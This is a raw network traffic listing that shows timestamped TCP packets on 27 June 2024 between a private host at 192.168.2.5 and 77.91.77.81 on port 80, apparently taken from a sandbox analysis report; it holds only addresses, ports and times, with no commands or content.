Jun 27, 2024 19:27:07.924604893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924612999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924626112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924639940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924655914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924766064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924806118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924806118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924815893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924839020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924854994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924880981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924891949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924902916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924921989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924942017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925074100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925082922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925092936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925105095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925112963 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925117016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925128937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925139904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925139904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925153971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925168991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925185919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925276995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925286055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925322056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925327063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925339937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925367117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925393105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925451040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925461054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925471067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925482035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925492048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925493002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925518990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925534010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925700903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925710917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925720930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925731897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925744057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925748110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925755024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925769091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925777912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925792933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925810099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925836086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925877094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925904036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925915956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925925016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.925945997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.925967932 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926081896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926093102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926101923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926112890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926122904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926124096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926136017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926146030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926146030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926162958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926166058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926182032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926203012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926389933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926400900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926409960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926420927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926431894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926434994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926443100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926455975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926460981 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926467896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926476955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926485062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.926498890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.926532030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950448990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950460911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950473070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950512886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950541973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950601101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950613022 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950624943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950637102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950649023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950649977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950675011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950689077 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950705051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950743914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950761080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950773954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950784922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950793982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950822115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950908899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950920105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950931072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950941086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950944901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950954914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.950958967 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.950989962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.951644897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.951656103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.951666117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.951677084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.951683998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.951690912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.951699972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.951730013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.978390932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.978403091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.978414059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.978463888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.978496075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.978498936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.978508949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.978530884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.978552103 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.978569031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.978581905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.978606939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018124104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018219948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018229008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018241882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018275976 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018302917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018316031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018326998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018336058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018341064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018353939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018363953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018389940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018399954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018412113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018431902 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018456936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018481970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018493891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018503904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018513918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018531084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018547058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018564939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018577099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018593073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018604994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018610001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018635035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018771887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018783092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018794060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018806934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018815994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018819094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018831968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018836975 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018852949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018877029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.018943071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.018980980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019013882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019026041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019037962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019049883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019057035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019062996 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019082069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019098043 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019186974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019198895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019210100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019220114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019224882 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019232988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019238949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019246101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019257069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019267082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019269943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019290924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019362926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019382954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019401073 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019552946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019563913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019575119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019597054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019597054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019617081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019642115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019675016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019686937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019716978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019778967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019790888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019803047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019815922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019817114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019839048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019861937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.019982100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.019992113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020001888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020015001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020025015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020025969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020037889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020037889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020051956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020056963 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020062923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020071983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020076036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020087957 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020103931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020255089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020293951 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020328045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020339966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020366907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020411015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020421982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020432949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020450115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020464897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020558119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020570040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020581961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020595074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020595074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020608902 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020634890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020690918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020703077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020714045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020725012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020734072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020761967 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020906925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020920038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020931005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020942926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020946980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020955086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020966053 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020967007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020981073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.020987034 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.020998955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021009922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.021011114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021034002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.021054983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.021236897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021250010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021260977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021272898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021280050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.021285057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021298885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021305084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.021311998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021321058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.021326065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.021349907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.021368027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045259953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045310974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045319080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045324087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045355082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045424938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045435905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045447111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045459032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045468092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045483112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045505047 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045572996 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045593023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045605898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045610905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045619011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045627117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045630932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045641899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045641899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045655966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045658112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045669079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045679092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045703888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045881033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045892954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045902967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045914888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045927048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045927048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045938969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.045938969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045962095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.045981884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.072921038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.072941065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.072949886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.072999001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.072999001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.073057890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.073069096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.073074102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.073086977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.073107004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.073122025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.073128939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.073159933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.112767935 CEST	80	49721	77.91.77.81	192.168.2.5
